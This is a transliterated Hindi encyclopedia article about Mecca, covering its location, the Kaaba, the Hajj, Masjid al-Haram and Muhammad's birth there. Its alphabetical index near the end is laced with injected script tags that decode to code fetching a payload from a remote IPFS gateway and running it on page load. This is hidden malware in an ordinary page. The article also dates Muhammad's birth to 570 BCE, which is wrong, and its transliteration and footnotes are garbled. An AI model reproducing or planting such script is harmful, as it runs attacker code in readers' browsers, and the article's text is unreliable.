मक्का (अरब)

	makka (arab)
	[[chitr:Kaaba.jpg\|kaba, makka\|200px\|center]]
vivaran	'makka' islam dharm ke manane valoan ka pavitratam shahar hai, jahaan par vishv prasiddh 'kaba tirth' aur 'masjid-al-haram' sthit hai.
rajy	hejaz praant, soodi arab
bhaugolik sthiti	yah jidda se 73 ki.mi. ki doori par ek sankari ghati mean samudr tal se 277 mitar ki ooanchaee par sthit hai.
prasiddhi	'paigambar muhammad sahab' ka janm sthan hone ke karan makka muslim janata ka vishvavikhyat tirth sthan hai.
kya dekhean	masjid-al-haram,
sanbandhit lekh	arab, haj, paigambar muhammad, madina ;
any janakari	makka shahar varshik haj tirthayatra, jo islam ke paanch stanbhoan mean se ek hai, ke liye prasiddh hai. pratyek varsh lagabhag tin lakh hajayatri makka ate haian.

makka saudi arab ke hejaz praant ki rajadhani evan 'paigambar muhammad sahab' ka janm sthan hone ke karan muslim janata ka vishvavikhyat tirth sthan hai. yah jidda se 45 mil (lagabhag 72 ki.mi.) poorv mean sthit hai. islam dharm ke manane valoan ka yah pavitratam shahar hai, jahaan par 'kaba tirth' aur 'masjid-al-haram'^[1] sthit hai. makka shahar varshik haj tirthayatra, jo islam ke paanch stanbhoan mean se ek hai, ke liye prasiddh hai. pratyek varsh lagabhag tin lakh hajayatri makka ate haian.

sthiti

vartaman makka shahar sudi arab ke makkah praant ki rajadhani hai. yah prasiddh aitihasik hejaz kshetr mean sthit hai. varsh 2008 ki janaganana ke anusar shahar ki abadi 17,00000 lagabhag thi. makka shahar jidda se 73 kilomitar (45 mil) ki doori par ek sankari ghati mean samudr tal se 277 mitar ki ooanchaee par sthit hai.

kaba

prachin kal se hi makka dharm tatha vyapar ka keandr raha hai. yah ek sankari, baluee tatha anupajaoo ghati mean basa hai, jahaan varsha kabhi-kabhi hi hoti hai. nagar ka kharch yatriyoan se prapt kar dvara poora kiya jata hai. yahaan pattharoan se nirmit ek vishal masjid hai, jisake madhy mean grenait patthar se bana ayatakar kaba sthit hai, jo 40 phut lanba tatha 33 phut chau da hai. isamean koee khi daki adi nahian hai, balki ek daravaza hai. kaba ke poorvi kone mean zamin se lagabhag paanch phut ki ooanchaee par pavitr kala patthar sthit hai. muslim yatri yahaan akar kaba ke sat chakkar lagate haian usake bad ise chooanmate haian.

paigambar muhammad ki janmasthali

yahaan muhammad sahab ne 570 ee. poo. mean janm liya tha. phir makkavasiyoan se jhag da ho jane ke karan muhammad sahab 622 eesavi mean makka chho dakar madina chale ge the. arabi bhasha mean saphar karana "hijarat" kahalata hai yahi se savant hijari ki shuruat huee thi, muhammad sahab ke pahale makka ka vyapar misr adi deshoan se hota tha. pahale arab ke kabile prati varsh hazaroan ki sankhya mean devataoan ke pattharoan ke pratik poojane ke liye ekatr hote the, kiantu bad mean muhammad sahab ne is prakar ki pooja ko samapt kar diya. masjid ke samip hi 'jam-jam' ka pavitr kuaan hai.

pavitr kshetr

paigambar muhammad sahab ne shishyoan ko apane papoan se mukti pane ke liye jivan mean kam se kam ek bar makka ana avashyak bataya tha. at: vishv ke kone-kone se muslim log paidal, ooantoan, trakoan, tatha jahajoan adi se yahaan ate haian. pahale yahaan par keval muslim dharmavalanbiyoan ko hi ane ka adhikar prapt tha. isake kuchh mil tak charoan or ke kshetr ko pavitr mana jata hai, at: is kshetr mean koee yuddh nahian ho sakata aur n hi koee pe d-paudha kata ja sakata hai.

hajayatra ka samay

soodi arab ki dharati par islam ka janm hua tha, isalie 'makka' aur 'madina' jaise pavitr muslim tirth sthal us desh ki thati haian. makka mean pavitr 'kaba' hai, jisaki pradakshina kar har muslim dhany ho jata hai. yahi vah sthan hai, jahaan hajayatra sampann hoti hai. sampoorn vishv mean islami tarikh ke anusar 10 jilahaj ko vishv ke kone-kone se muslim is pavitr sthan par pahuanchate haian, jise "eedul ajaha" ki sanjna di jati hai. bharat mean ise samany bhasha mean 'bakara eed' ya 'bakarid' kaha jata hai. haj sampann karane ke pashchath usaki poornahuti tab hoti hai, jab shariyat dvara many pashu ki kurbani ki jati hai.^[2]

masjid-al-haram

makka mean 'masjid-al-haram' nam se ek vikhyat masjid hai. is prachin masjid ke charoan or puratatvik mahatv ke khanbhe haian. lekin kuchh samay pahale soodi sarakar ke nirdesh par isake kee khanbhe gira die ge. islami buddhijiviyoan mean se anek logoan ka yah mat hai ki isi ke pas se paigambar sahab 'burark' (pankh vale gho de) par savar hokar eeshvar ka sakshath karane ke lie svarg padhare the. bataya jata hai ki 'masjid-al-haram' 356 hazar 800 varg mitar mean phaili huee hai. kaha jata hai ki isaka nirman hajarat ibrahim ne kiya tha. ab is masjid ke poorvi bhag ke khambhoan ko dharashayi kiya ja raha hai. itihas ki drishti se isaka mahatv isalie adhik hai, kyoanki yahaan paigambar hajarat muhammad evan unake sathiyoan ke mahattvapoorn kshanoan ko arabi mean aankit kiya gaya hai.^[3]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ pavitr ya vishal masjid
↑ makka mean kafir ke badale (hindi). . abhigaman tithi: 12 mee, 2013.
↑ makka ki al haram masjid (hindi). . abhigaman tithi: 12 mee, 2013.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vitr ya vishal masjid

[2] r ke badale (hindi). . abhigaman tithi: 12 mee, 2013.

[3] ram masjid (hindi). . abhigaman tithi: 12 mee, 2013.

[1]

[2]

[3]

makka (arab)
[[chitr:Kaaba.jpg\|kaba, makka\|200px\|center]]
vivaran	'makka' islam dharm ke manane valoan ka pavitratam shahar hai, jahaan par vishv prasiddh 'kaba tirth' aur 'masjid-al-haram' sthit hai.
rajy	hejaz praant, soodi arab
bhaugolik sthiti	yah jidda se 73 ki.mi. ki doori par ek sankari ghati mean samudr tal se 277 mitar ki ooanchaee par sthit hai.
prasiddhi	'paigambar muhammad sahab' ka janm sthan hone ke karan makka muslim janata ka vishvavikhyat tirth sthan hai.
kya dekhean	masjid-al-haram,
sanbandhit lekh	arab, haj, paigambar muhammad, madina
any janakari	makka shahar varshik haj tirthayatra, jo islam ke paanch stanbhoan mean se ek hai, ke liye prasiddh hai. pratyek varsh lagabhag tin lakh hajayatri makka ate haian.